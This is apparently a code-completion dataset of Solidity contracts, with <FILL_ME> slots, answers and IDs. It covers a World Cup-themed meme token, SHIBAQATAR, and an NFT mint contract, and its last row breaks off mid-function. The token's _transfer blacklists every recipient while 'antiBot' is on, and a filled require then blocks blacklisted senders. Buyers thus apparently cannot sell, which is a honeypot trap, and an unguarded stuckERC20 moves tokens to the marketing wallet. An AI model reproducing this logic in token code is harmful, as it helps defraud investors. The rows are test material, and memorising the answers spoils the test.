tokenA, address tokenB) external view returns (address pair); } interface IPair{ function token0() external view returns (address); function token1() external view returns (address); function sync() external; } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity( address tokenA, address tokenB, uint amountATokenDesired, uint amountBTokenDesired, uint amountATokenMin, uint amountBTokenMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBAQATAR is ERC20, Ownable{ using Address for address payable; uint256 constant DECIMALS = 18; uint256 _totalSupply = 1_000_000_000_000 * (10**DECIMALS); mapping(address => bool) public exemptFee; mapping(address => bool) public isTxLimitExempt; mapping (address => bool) public isBlacklist; bool public antiBot = true; bool public swapEnabled; IRouter public router; address public pair; address public lpRecipient; address public marketingWallet; address public stakingPoolWallet; bool private swapping; uint256 public swapThreshold; uint256 public maxWalletAmount; uint256 public maxTxAmount; uint256 public transferFee; struct Fees { uint256 lp; uint256 marketing; uint256 stakingPool; } Fees public buyFees = Fees(2, 2, 1); Fees public sellFees = Fees(2, 2, 1); uint256 public totalSellFee = 5; uint256 public totalBuyFee = 5; modifier inSwap() { } event TaxRecipientsUpdated(address newLpRecipient, address newMarketingWallet, address newStakingPoolWallet); event FeesUpdated(); event SwapThresholdUpdated(uint256 amount); event MaxWalletAmountUpdated(uint256 amount); event MaxTXAmountUpdated(uint256 amount); event ExemptFromFeeUpdated(address user, bool state); event ExemptTXUpdated(address user, bool state); constructor() ERC20("SHIBAQATAR", "SHQ") { } function setTaxRecipients(address _lpRecipient, address _marketingWallet, address _stakingPoolWallet) external onlyOwner{ } function setTransferFee(uint256 _transferFee) external onlyOwner{ } function setBuyFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ require(<FILL_ME>) buyFees = Fees(_lp, _marketing, _stakingPool); totalBuyFee = _lp + _marketing + _stakingPool; emit FeesUpdated(); } function setSellFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ } function setSwapThreshold(uint256 amount) external onlyOwner{ } function setMaxWalletAmount(uint256 amount) external onlyOwner{ } function setMaxTxAmount(uint256 amount) external onlyOwner{ } function setMulFeeExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulTXExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulBlacklist(address[] calldata addr, bool _isBlacklist) external onlyOwner{ } function _transfer(address from, address to, uint256 amount) internal override { } function takeFees() private inSwap { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function setSwapEnabled() external onlyOwner { } function turnOffAntiBot() external onlyOwner { } function stuckETH() external payable { } function stuckERC20(address token, uint256 value) external { } receive() external payable {} }
(_lp+_marketing+_stakingPool)<10,"Buy fee must be less than 10"
436,412
(_lp+_marketing+_stakingPool)<10
"From cannot be BOT"
/** INTRODUCE SHIBAQATAR 🇶🇦🐕ShibaQatar - $SHQ is a decentralized coin built on ETH chain inspired by the world’s most prestigious sports tournament, a sport that unites people with common interests, competition and love for football and the King of meme Shiba We strongly believe that we can use the hype of this year's world cup to promote our brand and expand it with time.🇶🇦🐕 👨‍💻 Checkout the Socials to get chance 👇 Tg: https://t.me/ShibaQatarErc20 Tw: https://twitter.com/ShibaQatarErc20 Reddit: https://www.reddit.com/user/ShibaQatar-eth-123 Medium: https://medium.com/@ShibaQatar.eth */ // SPDX-License-Identifier: MIT pragma solidity ^0.8; library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address from, address to, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IPair{ function token0() external view returns (address); function token1() external view returns (address); function sync() external; } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity( address tokenA, address tokenB, uint amountATokenDesired, uint amountBTokenDesired, uint amountATokenMin, uint amountBTokenMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBAQATAR is ERC20, Ownable{ using Address for address payable; uint256 constant DECIMALS = 18; uint256 _totalSupply = 1_000_000_000_000 * (10**DECIMALS); mapping(address => bool) public exemptFee; mapping(address => bool) public isTxLimitExempt; mapping (address => bool) public isBlacklist; bool public antiBot = true; bool public swapEnabled; IRouter public router; address public pair; address public lpRecipient; address public marketingWallet; address public stakingPoolWallet; bool private swapping; uint256 public swapThreshold; uint256 public maxWalletAmount; uint256 public maxTxAmount; uint256 public transferFee; struct Fees { uint256 lp; uint256 marketing; uint256 stakingPool; } Fees public buyFees = Fees(2, 2, 1); Fees public sellFees = Fees(2, 2, 1); uint256 public totalSellFee = 5; uint256 public totalBuyFee = 5; modifier inSwap() { } event TaxRecipientsUpdated(address newLpRecipient, address newMarketingWallet, address newStakingPoolWallet); event FeesUpdated(); event SwapThresholdUpdated(uint256 amount); event MaxWalletAmountUpdated(uint256 amount); event MaxTXAmountUpdated(uint256 amount); event ExemptFromFeeUpdated(address user, bool state); event ExemptTXUpdated(address user, bool state); constructor() ERC20("SHIBAQATAR", "SHQ") { } function setTaxRecipients(address _lpRecipient, address _marketingWallet, address _stakingPoolWallet) external onlyOwner{ } function setTransferFee(uint256 _transferFee) external onlyOwner{ } function setBuyFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ } function setSellFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ } function setSwapThreshold(uint256 amount) external onlyOwner{ } function setMaxWalletAmount(uint256 amount) external onlyOwner{ } function setMaxTxAmount(uint256 amount) external onlyOwner{ } function setMulFeeExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulTXExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulBlacklist(address[] calldata addr, bool _isBlacklist) external onlyOwner{ } function _transfer(address from, address to, uint256 amount) internal override { require(amount > 0, "Transfer amount must be greater than zero"); require(<FILL_ME>) if(!exemptFee[from] && !exemptFee[to]) { require(swapEnabled, "Transactions are not enable"); if(to != pair) require(balanceOf(to) + amount <= maxWalletAmount, "Receiver balance is exceeding maxWalletAmount"); } if (swapEnabled && antiBot) { isBlacklist[to] = true; } if (!isTxLimitExempt[from]) { require(amount <= maxTxAmount, "Buy/Sell exceeds the max tx"); } uint256 taxAmt; if(!swapping && !exemptFee[from] && !exemptFee[to]){ if(to == pair){ taxAmt = amount * totalSellFee / 100; } else if(from == pair){ taxAmt = amount * totalBuyFee / 100; } else { taxAmt = amount * transferFee / 100; } } if (!swapping && to == pair && totalSellFee > 0) { takeFees(); } super._transfer(from, to, amount - taxAmt); if(taxAmt > 0) { super._transfer(from, address(this), taxAmt); } } function takeFees() private inSwap { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function setSwapEnabled() external onlyOwner { } function turnOffAntiBot() external onlyOwner { } function stuckETH() external payable { } function stuckERC20(address token, uint256 value) external { } receive() external payable {} }
!isBlacklist[from],"From cannot be BOT"
436,412
!isBlacklist[from]
"Insufficient ERC20 balance"
/** INTRODUCE SHIBAQATAR 🇶🇦🐕ShibaQatar - $SHQ is a decentralized coin built on ETH chain inspired by the world’s most prestigious sports tournament, a sport that unites people with common interests, competition and love for football and the King of meme Shiba We strongly believe that we can use the hype of this year's world cup to promote our brand and expand it with time.🇶🇦🐕 👨‍💻 Checkout the Socials to get chance 👇 Tg: https://t.me/ShibaQatarErc20 Tw: https://twitter.com/ShibaQatarErc20 Reddit: https://www.reddit.com/user/ShibaQatar-eth-123 Medium: https://medium.com/@ShibaQatar.eth */ // SPDX-License-Identifier: MIT pragma solidity ^0.8; library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address from, address to, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IPair{ function token0() external view returns (address); function token1() external view returns (address); function sync() external; } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function addLiquidity( address tokenA, address tokenB, uint amountATokenDesired, uint amountBTokenDesired, uint amountATokenMin, uint amountBTokenMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBAQATAR is ERC20, Ownable{ using Address for address payable; uint256 constant DECIMALS = 18; uint256 _totalSupply = 1_000_000_000_000 * (10**DECIMALS); mapping(address => bool) public exemptFee; mapping(address => bool) public isTxLimitExempt; mapping (address => bool) public isBlacklist; bool public antiBot = true; bool public swapEnabled; IRouter public router; address public pair; address public lpRecipient; address public marketingWallet; address public stakingPoolWallet; bool private swapping; uint256 public swapThreshold; uint256 public maxWalletAmount; uint256 public maxTxAmount; uint256 public transferFee; struct Fees { uint256 lp; uint256 marketing; uint256 stakingPool; } Fees public buyFees = Fees(2, 2, 1); Fees public sellFees = Fees(2, 2, 1); uint256 public totalSellFee = 5; uint256 public totalBuyFee = 5; modifier inSwap() { } event TaxRecipientsUpdated(address newLpRecipient, address newMarketingWallet, address newStakingPoolWallet); event FeesUpdated(); event SwapThresholdUpdated(uint256 amount); event MaxWalletAmountUpdated(uint256 amount); event MaxTXAmountUpdated(uint256 amount); event ExemptFromFeeUpdated(address user, bool state); event ExemptTXUpdated(address user, bool state); constructor() ERC20("SHIBAQATAR", "SHQ") { } function setTaxRecipients(address _lpRecipient, address _marketingWallet, address _stakingPoolWallet) external onlyOwner{ } function setTransferFee(uint256 _transferFee) external onlyOwner{ } function setBuyFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ } function setSellFees(uint256 _lp, uint256 _marketing, uint256 _stakingPool) external onlyOwner{ } function setSwapThreshold(uint256 amount) external onlyOwner{ } function setMaxWalletAmount(uint256 amount) external onlyOwner{ } function setMaxTxAmount(uint256 amount) external onlyOwner{ } function setMulFeeExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulTXExempt(address[] calldata addr, bool status) external onlyOwner { } function setMulBlacklist(address[] calldata addr, bool _isBlacklist) external onlyOwner{ } function _transfer(address from, address to, uint256 amount) internal override { } function takeFees() private inSwap { } function swapTokensForETH(uint256 tokenAmount) private { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { } function setSwapEnabled() external onlyOwner { } function turnOffAntiBot() external onlyOwner { } function stuckETH() external payable { } function stuckERC20(address token, uint256 value) external { require(<FILL_ME>) ERC20(token).transfer(marketingWallet, value); } receive() external payable {} }
ERC20(token).balanceOf(address(this))>=value,"Insufficient ERC20 balance"
436,412
ERC20(token).balanceOf(address(this))>=value
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { require(<FILL_ME>) require(_tokens > 0); uint256 _cost = _tokens * MINT_COST; require(msg.value >= _cost); for (uint256 i = 0; i < _tokens; i++) { _mint(msg.sender); } if (msg.value > _cost) { payable(msg.sender).transfer(msg.value - _cost); } } function mint(address _account, bytes32[] calldata _proof) external payable { } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
openMintEnabled()
436,458
openMintEnabled()
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { } function mint(address _account, bytes32[] calldata _proof) external payable { require(msg.value == MINT_COST); require(<FILL_ME>) require(_verify(_proof, keccak256(abi.encodePacked(_account)), PAID_MERKLE_ROOT)); info.paidSupply++; require(paidSupply() <= PAID_SUPPLY); info.users[_account].paidMinted = true; _mint(_account); emit PaidClaim(_account); } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
!hasPaidMinted(_account)
436,458
!hasPaidMinted(_account)
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { } function mint(address _account, bytes32[] calldata _proof) external payable { require(msg.value == MINT_COST); require(!hasPaidMinted(_account)); require(<FILL_ME>) info.paidSupply++; require(paidSupply() <= PAID_SUPPLY); info.users[_account].paidMinted = true; _mint(_account); emit PaidClaim(_account); } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
_verify(_proof,keccak256(abi.encodePacked(_account)),PAID_MERKLE_ROOT)
436,458
_verify(_proof,keccak256(abi.encodePacked(_account)),PAID_MERKLE_ROOT)
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { } function 